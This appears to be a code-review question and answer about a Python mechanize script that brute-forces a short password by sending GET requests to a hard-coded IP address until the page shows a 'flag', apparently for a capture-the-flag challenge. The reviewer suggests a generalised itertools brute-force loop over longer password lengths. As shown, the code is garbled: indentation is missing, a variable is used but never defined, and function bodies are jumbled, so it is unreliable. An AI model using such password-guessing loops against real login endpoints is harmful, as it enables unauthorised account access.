# Bruteforce Keys from GET Input with mechanize

My Script tries to find a password, using a brute force approach. The password is then tried using a GET call to a website. I'm not happy with the way the script looks, particularly the number of variables I have had to use for such a small validation.

import mechanize
import itertools
import string

br = mechanize.Browser()
response = br.open(url)

cnt = 0
pat = "invalid {}Invalid"
acc = string.ascii_letters + "0123456789!@#\$%^{}()[]"
combinations = itertools.permutations(acc,cnt+1)
res = ""
a = "x"
b = "x"
c = "x"
d = "x"
bb = "x"
cc = "x"
dd = "x"

while True:
combinations = itertools.permutations(acc,1)
for x in combinations:
x = "".join(x)
if a == "x":
aa = x
elif b == "x":
bb = x
elif c == "x":
cc = x
elif d == "x":
dd = x

response = br.open(url.format(aa,bb,cc,dd))

if "flag" in cek:
print cek
break

if pat.format(cnt+1) in cek:
cnt += 1
if a == "x":
a = x
elif b == "x":
b = x
elif c == "x":
c = x
elif d == "x":
d = x
#print x


You should consider more characters. While the whole string.printable is probably too much (tab is usually not allowed), you should consider

characters = (string.letters, string.digits, string.punctuation)


I wrote it not as one long string because string addition is costly. We can just use itertools.chain(characters) later.

Your whole permutation code boils down to:

n = 4  # Hard-coded in url in your code.
br = mechanize.Browser()
url_template = "http://128.199.96.39/?password=" + "{}" * n


Your code does not need to build the permutations itself, it can rely directly on itertools.permutation to give it the correct password tuple. I actually don't understand the whole using 'x' as a place holder.

Having n as a parameter like above allows you to also loop over different password lengths:

import mechanize
import itertools
import string

def check_response(response):
"""Checks whether we are logged in yet"""
return False  # Implementation left as an exercise

if check_response(response):
return None

def brute_force(url, characters, max_length=8)
browser = mechanize.Browser()
for n in range(max_length):  # Also try empty password, we might be lucky
break

if __name__ == "__main__":
characters = (string.letters, string.digits, string.punctuation)

Note that it will take a very long time to run through all $\approx 6.7\times 10^{15}$ combinations for a character length of 8 characters. It will still take a long time to make all $\approx 8.1\times 10^{7}$ requests for a 4 character password.
You might want to test other packages for the web requests, because they are going to be your bottle-neck. Maybe try the requests module.